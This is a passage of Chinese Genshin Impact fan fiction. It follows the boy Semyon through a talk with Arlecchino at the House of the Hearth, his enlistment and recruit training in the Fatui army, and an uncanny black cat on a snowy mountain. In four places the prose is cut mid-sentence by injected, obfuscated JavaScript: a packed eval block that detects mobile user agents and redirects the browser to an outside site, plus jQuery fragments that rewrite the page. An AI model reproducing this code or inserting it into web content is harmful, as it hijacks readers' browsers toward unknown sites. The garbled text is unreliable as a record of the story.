红房子里没有真正的笨蛋。 阿蕾奇诺对于这些情绪照单全收,然后挨个通知孩子们去她的办公室——远离库嘉维娜旧办公室的,一间全新的办公场所。 年纪从大到小一个一个进,谢苗等待的时候没忘记把午饭顺来的蓝莓蛋糕吃进肚子。排在他前面的是瓦西里和帕维尔,两人出来后表情没什么变化,那就证明没有坏消息。 “谢苗,大人叫你进去。”总是发布任务的上官站在办公室外,正好看见谢苗在擦拭手上的奶油。 “知道了,现在就来,长官。” 短靴踩上厚厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679249|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地毯,一点声音也泻不出。原本厚重的落地窗帘被一分为二,窗外的雪景照得屋子里亮堂堂的。壁炉里缓缓燃烧着木柴,驱散了室内最后一丝寒意。 “父亲大人。”谢苗反感叫人母亲,但是不反感叫人父亲,可能是因为【父亲】在他两辈子的童年生活里都十分罕见,连象征意义都可有可无吧。 阿蕾奇诺示意他坐到自己对面的沙发上:“不必紧张,只是聊聊天。要来杯热牛奶吗?” 这个可以有,谢苗喜欢牛奶。 比他大不了多少的女性从容的斟上一杯牛奶,用手握住杯壁加热然后递给他。谢苗捧着牛奶,感觉那颗惶惶不安的心都被妥善安置好了。 “我看过尼古拉给的资料,你是个相当优秀的孩子。邪眼、神之眼、还有炼金术造物武器傍身,短短一年时间就拥有这样的实力,在壁炉之家着实出类拔萃。有想过更进一步的发展吗?” 尼古拉就是那位发布任务的上官的名字,很遗憾我们现在才知晓,但这并不重要。 手指摩挲杯壁,谢苗无意在这位顶头上司面前遮掩什么情绪。人们总是偏爱“诚实”的好孩子,即使那种坦诚并非出自真心。 “我不想欺骗您,父亲大人,但我的确考虑过进入愚人众军队体系,那里的升迁渠道会更透明一些。”壁炉之家算是愚人众的一份子,但严格来说不在军队体系管辖范围内。孩子们的情报档案被专门放置归类在一起,只有女皇陛下和壁炉之家掌权人才能自由翻阅。壁炉之家是至冬的黑手套,那些长大的孩子们只会悄无声息的死在异国他乡某个角落。但如果进入愚人众军队体系,他至少可以为自己挣得一个堂堂正正的,烈士的名号。 就像谢缪尔的母亲卓娅·雪奈茨芙娜上尉那样。 而且,如果有一天他爬上了更高的位置,至少可以为瓦西里帕维尔他们拒绝明摆着送死的任务。 如果可以的话……他还是想做些什么的。 谢苗的话没有说完,但是阿蕾奇诺明白他的意思,涂着鲜红甲油的漆黑手指捻起两张薄薄的纸,几个呼吸后又放回去,没有打算给谢苗看:“有自己的想法是好事,孩子长大了总是要离开[家]的。但你这个年纪就出去,我不放心,至少留你到十四岁生日。” 孩子们离开壁炉之家的条件是通过十六岁的考核,但这个孩子过于优秀,可以破例。 “我知道的,父亲大人。” 其实满打满算也不剩一年时间,但这一年时间足够做很多事情。阿蕾奇诺看好他,也读得懂他的意思,更何况,壁炉之家的孩子们本就是要输送到世界各地各个角落的…… “我会教你一些新东西,希望你铭记于心。”阿蕾奇诺眸光平静,“一切力量皆有其代价*②。有的时候使用者自以为可以接受这份代价的反噬,但结果证明他们自负得可怕。所以……在未知的力量面前保持警惕,从始至终。” 谢苗一时间不知道她是在说邪眼还是什么。 19. 飞吧飞吧 谢苗是真心不想在壁炉之家待了。 拜库嘉维娜女士所赐,他对这个地方产生了本能的厌恶。或许□□看不出什么受虐痕迹,但是心灵创伤十分严重,严重到谢苗这个有着成年人灵魂的家伙都不愿意回想。 被迫接受自己必须亲手杀人的命运,被迫接受那种致幻而痛苦的人体实验,为了让自己好过一点,只能不断的给自己下达心理暗示:忍耐,学会忍耐,忍一忍就好了,忍一忍就不痛了。其实这也没什么不是吗?把自己当做一把武器,而不是一个人,你就能活下去。 难道一定要痛哭流涕才算是崩溃吗? 走出大楼后,他捧着那颗冰蓝色的神之眼。凝视它,好像透过神之眼中心的雪花纹样看见了那天在月光下挣扎的灵魂。 从前不去想,是因为他还活在库嘉维娜统治下的壁炉之家。如今是阿蕾奇诺继位,她作为[选王计划]的获胜者,有勇气有实力反抗库嘉维娜并且胜利,想来会是一位合格的管理者。 阿蕾奇诺起码是个人。 谢苗在她身上看见了一点名为“希望”的曙光。自己这样背负血债的,罪孽深重的人自然不会奢望脱离壁炉之家,但是早日离开这里总归是可以做到的。 他渴望逃离让他痛苦的一切。 他期冀反抗压迫他的强权与不公。 逃离与反抗似乎互相矛盾,就像不会爱人的神明以慈爱著称那样。 至冬的天还未回暖,掌心的冰元素神之眼是如此的剔透明亮,谢苗安慰自己:我的未来也会如同这颗神之眼那般澄澈无比。 高处的窗户敞开一条缝,阿蕾奇诺站在窗边注视下方的小小身影,看着他一点点走远,消失在拐角处后才收回目光。 尼古拉敲门进来,拿着厚厚一摞报告:“大人,这是前院孩子们的信息清单。” “放那吧,我一会看。”她走回沙发边坐下,给自己倒了一杯热茶。属于谢苗·雪奈茨维奇的情报档案就放在茶几上。 说实话,阿蕾奇诺没想到至冬竟然会有如此规模的人体实验,甚至出现了一代受体自然孕育出来的二代受体实验成功的情况(多数一代受体已经丧失了生育功能)。这是个可怕的信息,以她那位同僚【博士】展露出的道德底线良知来看,盯上母体自然孕育出来的孩子接受实验只是时间问题。 受库嘉维娜影响,阿蕾奇诺对于恐吓、施暴、实验儿童的行为极其反感厌恶。继任仪式过后,【博士】居然找到她,主动提出要继续和前代仆人库嘉维娜的合作。这简直是踩着阿蕾奇诺的底线跳热辣奔放的劲舞。 [你应该看过士官给你的情报,壁炉之家有个小孩是从我实验室出来的二代受体。反正放在你那也只是出任务杀几个人,不如把他交给我……我能回馈你更多的武器。] [人类血肉筑成的武器吗?] [当然。比精锐尖兵更强大的爆发,比笨拙机兵更灵活的变化,极限单兵作战的最优选择,毫不客气的说只要他继续走我安排的路,再过五年实力就可以与三席以下的执行官并提。何况他从小接受的是间谍培训,忠诚、能力、心性都毋庸置疑。这样说来,壁炉之家倒是至冬的人才储备基地呢……] 阿蕾奇诺不会允许这样的事继续发生,多托雷想把孩子从她这里带走——绝无可能。 “尼古拉,把我约谈过的那些孩子的情报档案单独取出来成册交给我,不要留任何备份。” “遵命,大人。” 有些苗头在扩大前就应该立即掐死。 谢苗去图书馆交还了前几天借走的参考书籍,把这些天的作业上交,然后溜达到食堂解决午餐。 壁炉之家的课业量和训练量都非常人可以想象,铁打的谢苗都有些吃不消,每天最大的盼头就是看厨师做了什么好吃的,靠着那口气续命。 香香浓浓的一大盆土豆泥浇上肉汁,拌进几碟子香肠熏肉之类的冷吃拼盘,嫌腻就放两根酸黄瓜啃。这就是谢苗每天的主餐,吃不饱还有蛋糕馅饼餐包塞塞牙缝。高热量的甜馅饼是谢苗的心头好,每次都要吃一大半。 瓦西里总担心他积食不消化,可是每次检查身体指标都是一切正常——健壮得像头熊。 和谢苗稍微熟悉一些的孩子们都知道,这家伙除了捣鼓他那些叮铃啷当的武器部件外,最是热衷于用餐吃饭,大列巴都能啃得有滋有味抻着脖子哽咽下去。“不让他吃饭的比杀了他还难受”——这是尼古拉长官的原话。 其他人都当是小男孩正在长身体所以吃得多,少部分知晓内情的人才明白他根本不是贪吃,他是不得不吃。 因为身体需要能量,需要那些高油高热高碳水的食物。寻常人一两天不怎么吃饭只会饿掉几斤肉,他不吃饭是真的会死的。 所以库嘉维娜在任时从未少过断过他的吃食,任务资金每次都足够他在外面购买食物。尼古拉惩罚他力量外泄弄坏墙壁地板,也只是勒令他吃一周的土豆泥。还是加了牛奶的那种。 阿蕾奇诺看在眼里,什么话也没有说。 谢苗十四岁生日前,他又被尼古拉提溜着去体检。 这大半年里发生了许多事,比如瓦西里已经离开了壁炉之家进入愚人众军队体系工作了。前不久来信说他被调去前线,现在在当医疗兵——这家伙明明学的是毒杀。谁让之前那个倒霉医疗兵被流弹击中身亡,他被赶鸭子上架硬着头皮负责治疗。 帕维尔说他大概率会被送去接受专项训练,以后当债务处理人,派遣出国执行任务。毕竟他用刀天赋很高,也并不抗拒追债杀人这种事。 莉兰那小鬼现在就是跟在几个大姐姐身后屁颠屁颠的学东西,说是想当役人。【仆人】的许多女儿都会被训练成为役人,是愚人众精锐部队中的尖刀。 他们问:谢缪尔,你未来打算做什么? 能在壁炉之家残酷试炼中活下来顺利长大的孩子自然不会被当做随手可弃的卒子——至少阿蕾奇诺上台后不会如此。对于这些有价值的孩子来说,一点点选择权还是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当然不会把一个未成年孩子直接丢出家门,尼古拉甚至是亲自把他送去至冬城外的愚人众军队驻军基地,就像当年送他执行任务那样。 “听长官安排,好好做事,为女皇陛下尽忠。”尼古拉拍拍他的肩膀,“不想在流动先遣队待了就回来,壁炉之家那么多任务正缺人干。” “……是,长官。”谢苗提着箱子站在他面前。 其实尼古拉不说后半句话谢苗会很感动的。 尼古拉站在他身后,轻轻推了推他的肩膀:“去吧。” 很多孩子从他手下走出去,很多孩子雪花般飘到异国他乡,很多孩子终其一生没有回到生养他的祖国。尼古拉已经不会再因为分别而产生多余的情绪,他只是注视着那个铂金色头发小男孩的背影,忍不住想起刚见到他时那瘦瘦小小的模样,满眼都是警惕与彷徨。 飞吧,就像雪鸮驰骋山林那般飞翔吧。你会成长为让至冬为你骄傲的战士。 20. 摔摔打打 谢苗正式参军的年纪是十四岁,这在人事档案有明确记录。 一开始伊尼科夫长官刚接手他,很是为他军种的选择发愁。 “又干又瘦,拿得动铳枪吗?抗得了锤子吗?双刀我都怕他拿手里给自己割伤了,估计只能拿萤术士用的萤灯。”伊尼科夫长官负责这一批新人的培训,看着这被走后门带进来的关系户有些发愁。你总不可能让这样小的崽子啥也不学就上战场吧? 他毫无顾忌,甚至是当着谢苗的面说的。 谢苗提着箱子站在一旁充当空气,敛息凝神,能让人下意识忽略他的存在。其实没伊尼科夫说得那么干柴,但是体质摆在这里,在身高没长起来之前,确实没什么肉。 他看到对方的副手冷不丁突然开口:“这孩子是尼古拉中尉送来的,尼古拉中尉这几年调去了壁炉之家为【仆人】大人效力。” 伊尼科夫:“……那没事了,那边培养出来的起码比新兵强。” 至少军事化管理出来的孩子能够很快接受军队的训练和指令。 这里他终于正视那个小萝卜头——对于至冬成年壮汉来说,谢苗现在的身高的确算不上强壮。伊尼科夫长官注视着谢苗,沉下嗓音:“好小子,告诉我,你都擅长些什么。” “您需要什么,我就擅长什么。”谢苗一板一眼回答,“我现在是您的兵。” “哼。”伊尼科夫从鼻腔泻出来一点音,“小滑头鬼,军队和你的[家]是不一样的。不过你倒也没说错,在这里需要什么,你就是什么。和那帮新人一起训练去吧,现在还看不出来你的天赋……行李放宿舍去,别提在手里。” 谢苗没有辩解这不是行李是武器,乖乖照做。 新兵营里多数都是些十六七岁的少年人,男女军种选择不一样。谢苗本来应该要去学着抗锤子抡双刀举铳枪的,结果负责人一看他连15岁都没有,黑着脸把他丢去女兵那边。 这不是歧视。他真的和女兵一样高。 “身体都没发育好,那些重武器让你用是在害你。先学这些考验灵巧度的。”负责人在本子上写写画画,随意的摆摆手。 谢苗若有所思。 看来军队内部的消息也不是那么流通啊。 他以前还在库嘉维娜手下做事时,接手的任务,接触到的愚人众也不算少。按理说也不算籍籍无名之辈,但在这边却是十成十的小萝卜头新兵。如果执行官部下之间消息互通,不可能不知道谢苗是拥有邪眼的——知道后压根就不会把他和一群没有邪眼的新兵放在一块。 这边的新兵是哪位执行官部下在负责? 一天的负重训练结束,轻轻松松毫不费力,谢苗回到宿舍洗漱完躺床上,听见他的室友们在低声聊天。 因为白日没和男兵一起训练,那些人还不知道有他的存在。加之他回来的早,这回躺上铺被子一盖,像幽灵一般让人毫无察觉。 “……今年听说是【队长】大人负责新兵……” “天哪,是那位【队长】大人。我从家乡来到至冬城参军,就是因为崇拜【队长】大人……” “有眼光,【队长】大人是最好的执行官。我老家的父兄就是被他带兵从深渊侵蚀中救下来的。” 队长? 谢苗闭着眼睛心想,这位一席大人风评一向好。但是上一位让人赞美的执行官还是库嘉维娜,出于这种考虑,尚未见过【队长】本人的谢苗持怀疑态度。 第二天早起这帮室友才发现多了个人,洗漱的时候从镜子里看见陌生男孩站他身后,被吓了一大跳。 “你谁啊!” “新室友,昨天就来了。”谢苗幽幽道,“我还以为你们能发现多了一个人呢……” 这话说得让人着实理亏,那室友不自在的缩缩脖子:“好吧,昨天我们训练太累了,可能没注意到你。你叫什么名字?” “谢苗。谢苗·雪奈茨维奇。” 谢苗出名了。 “你怎么跟女兵一起训练?你是女人?”还是那个室友,午餐时间终于看见了谢苗人影,“我一上午都没找到你,还以为自己记不清你长啥样。” “女人怎么被安排进男兵宿舍?”谢苗用看智障的眼神看他,“我年纪小,分配的长官说让我先跟女兵一起训练。反正前期都是一样的训练内容。”只是考核标准有一些差距,但这是受男女天然生理结构和身体素质影响。 “你多少岁?”他嘀咕着,“十五六岁怎么也不小了啊……”而且他们至冬的女人一个个孔武有力,可不是风吹就倒的弱鸡。 “昨天刚过十四生日。” 室友不说话了。 很快就流出谢苗这小鸡崽走后门参军的传言,不然怎么十六岁没满就进军营。 谢苗什么也没说,女兵对他较为友善,看他年纪小还偷偷给他带些糖果甜点心之类的。负责他们的长官倒也不表示什么,只是让谢苗每天加练半小时——这也很轻松了。就是偶尔会被萤虫叮咬,没办法,没有雾虚灯这帮家伙谁也不认。 他甚至把这当做养老活动,逗逗虫子溜溜飞萤什么的 。 第一个月的新兵考核,谢苗寻思着按女兵这边的训练标准上点强度,谁知道考核结束成绩一公布,他的名字在男兵那边的排行榜上,位列榜首。 按常理来说,一个十四岁男孩接受女兵训练然后参照男兵考核标准进行评分,那确实是明摆着欺负人。但谢苗从贼窝壁炉之家出来,负责考核他的长官们知晓他有些手段在身上,这次的考核就当是一次观察。因为成绩着实亮眼,谢苗很快又被重新安排跟男兵一起训练。 有人说:在军队,只要你能干,那就往死里干。女人当男人用,男人当畜牲用。 谢苗终于明白这句话是什么意思了。 他抡完锤子挥镰刀,挥完镰刀去扛枪,抗完枪直接被拉去附近的魔物营地进行清剿任务,处理了野外魔物又给附近老乡把地里的杂草割了麦子收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679251|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了磨盘推了,天一黑被拉回去重新操练,半夜上官一吹哨子他就能条件反射从床上蹦起直奔哨声处。 谢苗:-O- 他的几个室友:zzz—— 哇塞真是站着都能睡着。 这还只是一天的运动量,此后一个月,几乎每天都是这样水深火热的活着。直到至冬城外郊区的几个村落地里收成全都入粮仓,地都反复犁了三遍。 绕是谢苗也有点遭不住这种强度,他坐在田埂边一抹额头上的汗,把午饭剩下的两个干巴面包摸出来啃啃,没水,噎得直翻白眼。 “我的天……这日子什么时候是个头啊……”室友粗声粗气地喘息,“我在家拉磨都没这么使劲卖力。” 农民的儿子在家自然要干农活,室友对这些不陌生,但扛不住天天这样造啊。 他老爹农忙时也没有这样造过啊! 一帮年纪不大的新兵本应该浑身力气无处使,经过这么一个月的魔鬼操练直接蜕变为核动力驴,听见哨子音心里直发怵。 刺耳的哨子音又响起来了。一帮小伙子整理衣装连滚带爬集合完毕,带队的长官扫视了一圈,按照惯例报数清点人数,确定没少没漏后又像运猪崽似的把这帮人拖回去。 不平坦的山路一颠一颠,谢苗挤在一堆大老爷们中间,闻着臭汗生无可恋。 算了,忍忍吧,新兵营只剩一个月了。 这时候他能忍的优良品质又占据了智商高地。 至少军营管饱饭又不用担心死。 嗯,他成功的说服了自己。 谁知道在新兵营的第三个月,这些军官又给没见过世面的谢苗上了一课。 他们终于不用去给老乡当驴拉磨了,而是要进山猎杀熊和泛滥的野猪。秋收季野猪下山觅食,袭击村民。而冬天快到了,至冬山林太冷,吃不饱的熊、狼等野兽又要下山。 谢苗看着发到手中的武器:“我去猎熊?真的假的?” “谁让你单枪匹马上了?合作围剿、布置陷阱、撒毒饵……办法很多。”长官训斥完又说,“这些年进山的人少了很多,野兽泛滥成灾了。也是时候遏制一下它们的繁衍。” 谢苗拿着债务处理人改良版双刀,苦哈哈的跟着大部队出发。 至冬城外郊区再扩张几十里便是雪山,山腰往上积雪终年不化。山下常见松树柏树,针叶林顺着山脊连绵起伏,像条厚实的毛毯。 他嗅着空气中刺骨的寒意,不免想起一年多以前在至冬北地遇到的玛格丽特姨妈。武器、肩铠在雪地上折射出来的银恰似云层移开后显露的耀眼天光,刺激得他忍不住眯起眼睛。 他好像看见远方山峰有什么亮光一闪而过。 适应了雪地视线后睁开眼仔细瞧瞧,才知道那不过是错觉。毕竟他的同伴们没有任何反应,素来警觉的长官也无动于衷,依旧呵斥落后的新兵快些跟上。 谢苗有点想念躺在宿舍手提箱里睡大觉的燧发枪了。 21. 雪山与黑猫 “带崽的母熊不要去触霉头,外围狼群注意挑落单的下手。这边有丘丘霜铠王坐镇的大部落,都给我绷紧皮悄悄行动,别去送死还连累别人。” 听到新兵们的回复后,长官才稍微满意一点。叫他们分成几队进山,彼此之间有联络传讯的哨子,万一出了事好有个向外传递信息的工具。 谢苗把那只哨子挂脖子上,重新理了理手套的边边角角,好叫它更贴手掌些。这才拿起双刀跟着自己的小队长进山去。 长靴陷进积雪,留下一深一浅的脚印。森林里并不是静悄悄的,小兽穿行而过簌簌作响,枝头有鸟类的啼叫,山脚的河流卷携碎冰叮叮淙淙蜿蜒流淌。 呼吸间,冰元素顺着空气进入人体内部,像是一团团黏在衣服上的苍耳,又像是板栗壳的刺,扎得生疼。 谢苗有冰系神之眼倒还能忍受几分,他的几个普通人同伴明显状态不对劲。小队长不得不叫停前进的步伐,和队友们一起在原地稍作休整。 “这座雪山怎么会这样冷?”有人轻声询问,“至冬最北端的雪山也没有这样让人难受,这还只是山脚的一段路呢。” 小队长抬头仰望林梢间破碎的天穹,雪花纷纷扬扬飘落:“至冬有一则很古老的传说。冰之龙盘踞在群山之间,呼吸吞吐间的云雾笼罩山体形成经年不化的积雪。它的头颅靠近至冬城,因此至冬城外的雪山有着诡异的寒冷环境。这座山也被叫做龙息山。” “龙?”谢苗轻声询问,他琢磨这个单词,“什么样的龙?” 小队长:“我又没见过,我怎么知道?这只是一则传说而已……不过冰元素龙应该是那种浑身上下和冰一样剔透晶莹的模样吧?” “像冰史莱姆也说不定呢……”有人搭话。 话题很快岔向元素生物,谢苗静静的听着,留神周围的环境变化。 他看见了林中有一闪而过的黑影,对方藏到了树后灌木丛中。等他屏息轻手轻脚的靠过去检查,却什么也没有发现。 谢苗找到了小队长说出自己的观察,得到了表扬。“做得很好,谢苗。也许那是无害的小兽,也许是危险的毒物。但至少我们现在可以打起精神戒备警惕……所有人!整装预备!我们继续前进。” 这队新兵踩着积雪继续向前,没人注意到身后高高的松树上,有条蓬松的黑色大尾巴垂下,晃了晃。 谢苗走远了些似乎感应到了什么,突然回头一看,不出所料什么都没有。若有所思的继续前进。 是他的错觉吗? 雪山山脚已经十分难熬,越往前越是冰冷,诡异到人体无法忍受。幸而带队长官从没有要求他们深入雪山,只是在山脚林子里清理一些猛兽。 新兵们经过两个月的训练,已经不会手忙脚乱帮倒忙了,合作捕猎那些种群庞大的猛兽,清剿大规模的魔物部落。看上去倒也有几分军人的样子。 谢苗这种小屁孩是被默许不上第一线的,大家不约而同把他护在队伍中间,不过总能让谢苗找到机会溜达出来收割。 小队长看着他用邪眼附魔,跳起来一刀将正在砸地丘丘霜铠王劈成两半,眼皮子直抽抽。 “你什么时候拿到的邪眼?还有,你是怎么蹦出来的?我明明记得你在我后面!” 谢苗擦拭刀上附着的火元素力,幸好他这次出门除了神之眼还装备了邪眼,果然寒冷地带火元素最好用:“前两年一位执行官赐予的奖励……看到你们有危险,所以我来了。魔物清剿完毕,接下来我们做什么?” 被丘丘霜铠王一个砸地击飞的其他成员互相搀扶着狼狈爬起,连连道谢。 小队长不欲多想,一个年纪轻轻就拥有执行官大人亲授嘉奖的士兵,这还是他正式参军前获得的奖励…… 他摆摆手:“我们只负责这边一块地盘。现在去林子里弄陷阱,明天再正式猎狼,不然这帮畜牲又要下山袭击村民和家畜。受伤的成员快些治疗,等会你们站后面点,不要冲太猛。” 谢苗什么也没说。一伙人把场地稍微收拾了一下,好显得没那么血腥赤裸,这才一头扎进林子里布陷阱。 谢苗的灵活身手有目共睹,小队长派他去警惕放哨。 “我们有危险,你会出现的。”小队长这样说,“你是值得我们交付后背的同伴,去吧。” 站得高看得远,于是他爬上这片林子最高的松树。 林子被雪覆盖,远望只有青绿和白的颜色,倒也养眼。小兽寻觅植株根茎裹腹,捕食者置身阴影中蓄势待发。 脚印、粪便、毛发、猎物遗骸,根据这些判断狼群的走向和身体情况,新兵们对于实地学习应用显得十分兴奋——反正猎狼比杀魔物安全,可以稍稍放松些。谢苗看见一个同伴居然还有心情去掏松鼠之类的啮齿类小动物藏起来的坚果。 小队长看见了直接赏他一个暴栗,低声呵斥:“没给你饱饭吃还是什么?要你在这挖坚果!陷阱布完了吗?扫尾清理干净了吗?把身上的杂味消了,跟上纳尼亚一起去侦察!” 说完又补了一脚,同伴捂着屁股灰溜溜跑了。 林子里安静了。 谢苗收回目光,他觉得至冬人身上多少带点搞笑天赋。 当天傍晚他们退出林子在平缓地带扎了帐篷休息,小队长去向长官汇报今天的任务成果,谢苗找到室友,蹭了他一个烤好的饼吃。 吃饭,睡觉休息,后半夜起来值班,生活平乏,谢苗脸上很少有表情。啃到有葡萄干内馅的乳酪面包还是会眼睛一亮,但也仅止于此。 篝火明明灭灭,他对着火光发呆,就这样硬生生坐到了天亮。 “谢苗,你怎么不叫我起来接班?”同伴这一觉的睡得安稳,醒来后才发现自己应该去接天亮前的一班守卫。 谢苗只是摇头:“没事,你昨天受伤了,多睡会。” “不碍事的,我现在能跑能跳……” “那等下次再出来执行任务,你替我一次就好了。”谢苗起身,“要吃早饭了,走吧。” “……等会我那份的黄油面包给你。” “谢谢。” 今天的林子注定不太平静。 谢苗这支小队发现陷阱被触发过,陷阱十分混乱,气味杂驳。根据捕兽夹附近的多种动物皮毛和血迹推测是一只倒霉的兔子误触陷阱,又迎来了捕猎的肉食者,结果触发了第二层陷阱。天微亮时,一头觅食的狼发现了这送上门来的美餐。再三确认没有捕兽夹之类的凶器后,这才放心大胆的叼走了猎物。 但是第三层陷阱并非能用肉眼看见。 小队长给他们戴上特制的雪地护目镜,顺着地上发光的脚印前进。 那脚印是狼和其他路过生物留下来的。无色无味,只有用特制仪具或者元素视野才能看清。 “不是说狼的视野图和人的不一样吗?”有人不理解,它看不见这些脚印? 小队长:“这是【博士】大人早些年随手创造的作品。当初实验用到了很多野兽,测验过它们根本看不见。低智力元素生物也不知晓那是什么意思,不会在意。” 谢苗明白了,八成是用到了元素力。 他尝试驱动神之眼进入元素视野状态,果然也能看见那些大大小小延伸出去的脚印。 有点意思。 狼的脚印不难辨认,一群人很快摸到了狼群的生活圈外围,谢苗潜行能力是在场最优,毫不客气的去打探情况了。 在下风向用灌木丛和树遮掩身形,调动冰元素神之眼,让自身气息融入雪地环境,果然没有引起狼的警惕。谢苗眯起眼睛数有多少看得见的狼,末了咋舌。 小队长看见他回来,耐心听他汇报。 “13头成年狼,2只亚成年,体型明显小一圈。这个点基本都是吃完了猎物在休息。” 小队长一琢磨:“这个种群数量,等两头亚成年狼长大就是不小的威胁。杀两到三头就行。这片林子的猎物不少,狼不多就足够它们吃饱不下山。弓箭手呢?纳尼亚,你和谢苗一起去。站在高处一人射一头,得手容易就不杀了。狼群反扑就多杀几头。” 他知道谢苗的射击成绩在整个新兵营都是最好的。 谢苗对这个安排没有意见,从后备武器里抽了把弓和一束箭袋,背在身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679252|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上和同伴纳尼亚一起折返回去。 他们在狼群营地的逆风向爬树,在高高的树顶拉弓搭弦,箭头瞄准底下正在休憩或者磨牙的野狼。 也许是生物的直觉叫嚣着危险,狼群的放哨者突然尖锐的叫起来,它的同伴们应声而起警惕戒备。但是太晚了,愚人众新兵的箭矢已经射了出去。 纳尼亚看见自己的箭矢射中了一头老狼的后颈,那狼被一箭封喉,痛苦的挣扎了几息才彻底断了气。本来以为这个成绩已经十分不错,扭头就看见谢苗面无表情的拉弦射击,在极度混乱的情况下还能一箭射中狼的眼睛。直接穿颅,一击毙命。 纳尼亚觉得自己的眼睛有点痛:“……还要杀吗?” 谢苗没有第一时间回应,他看着下方已经锁定了袭击者所在出的狼群,取出第二根箭矢直接射在龇牙的狼群首领脚下。 箭头没入地三分,尾羽还因为杆子的抖动而颤动。可见力道之大。 那是无言的威慑与恐吓。 狼首领后腿一步,野兽有着自己的生存智慧,它知道自己现在反扑会造成更多的成员伤亡,但是不做些什么有负它的身份与职责…… 纳尼亚看着狼群低语交流了些什么,这些山野的精灵扭头钻进丛林:“它们要干什么?这就跑了?” “因为风向改变了。”谢苗拉着他下树,“狼王嗅到了我们身上存留的味道,带着其他狼去找小队长他们麻烦了。” “遭了!还有伤员!”纳尼亚脸色一变,显然想起了教官在第一个月教他们的知识,意识到谢苗说的话很有可能是真的。于是他朝着同伴们的方向狂奔。 谢苗赶紧拔腿跟上。都不等等他的吗? 同伴们的位置距离狼群营地并不远,谢苗和纳尼亚赶到的时候,小队长他们已经拿着武器在驱赶狼群,只是收效甚微。毕竟昨天在讨伐丘丘霜铠王的时候已经有同伴负伤,他们需要留意对伤员的保护,又要注意对自己的腹背防御。 情况焦灼,好在目前没有生命危险,反倒是狼群也出现了受伤成员。谢苗和纳尼亚的回归无疑是一剂强心剂,强势武斗成员的加入让战局呈现一边倒的情况。 谢苗有点烦躁,又留下了三头狼的性命。终于打跑了狼群,但梁子算是彻底结下了。 他知道一旦让狼群找到机会,它们会把今日的“无妄之灾”全部算在山脚人类头上。到时候,更为凶恶的反扑会让至冬普通人损伤惨重。 小队长带着他们回去向长官禀报这件事,不错所料,长官直接下令让他们把这支狼群诛灭。 有人拥护自然也有人产生疑音,只是身处军队,新兵倒也没傻到大喇喇的当众质询长官命令。 长官读得懂他们的脸色,冷笑一声:“觉得我残忍?小题大作?搞清楚,是漫长的严冬让雪山动物缺乏食物下山袭击村民,你以为至冬人冬日靠什么活下来?是牛羊,是牲畜,是狼群咬死的财产!” “野兽吃了人要吃的食物,死的就是人!是几头畜牲重要还是人重要!你今天因为不忍心放过了这些已经结仇的狼,等军队撤离后,狼会放过山下手无寸铁的人吗?回答我!” “不会!!” “那就拿起你们的武器!连本国平民都无法守护的愚人众算不得军人!” 谢苗再次随着大部队进山时,在山路的正中间看见了一只端坐的黑猫。 那黑猫的体型过于硕大,不晓得情况的还会错认成黑豹。但那确实是是猫无疑,蓬松厚实的毛发,垫脚的大尾巴,还有那双无光的漆黑竖瞳。 谢苗脚一顿,看着他的同伴们若无其事的穿过猫的身体,好像那只是极寒时出现的幻影。 但他停下了脚步,因为他触碰到了那切实存在的温度。 寒霜侵袭了他的心脏,爪子踩上了他的脊背,微风的吐息吹拂耳畔。 “谢苗,你蹲在那里干什么?别掉队了,快跟上!” “……遵命,长官。” 少年人撑起身子,摇摇晃晃向前。 那只猫站在了他的肩背上,如同君王一般居高临下,凝视渺小的人类进入祂的领土。 22. 低温保鲜技术 谢苗觉得自己不太好。 字面意思上的那种不太好。 前几天第一次进雪山就发现有那神出鬼没的黑影,当时只当是林中的某种野兽魔物。之后他每次进入雪山,都能感受到若有若无的暗中窥视。今天更是不走运直接撞上,拦路虎一般挡住了他的去路。 作为军人,谢苗应该在第一时间做出判断:就地射杀。 但是他没有,因为他的心脏叫寒霜裹挟,手提不起来,什么多余的动作也做不出。如同提线木偶一般依照其他意志的指令做事。 在那漆黑的竖瞳注视下,谢苗蹲下身让黑猫爬上他的背,又站起身来僵硬的跟上大部队。 没有人发现他的不对劲。因为雪山的风太冷,吹得人睁不开眼,脸蛋冻得快要裂开。 我这是,被鬼上身了? 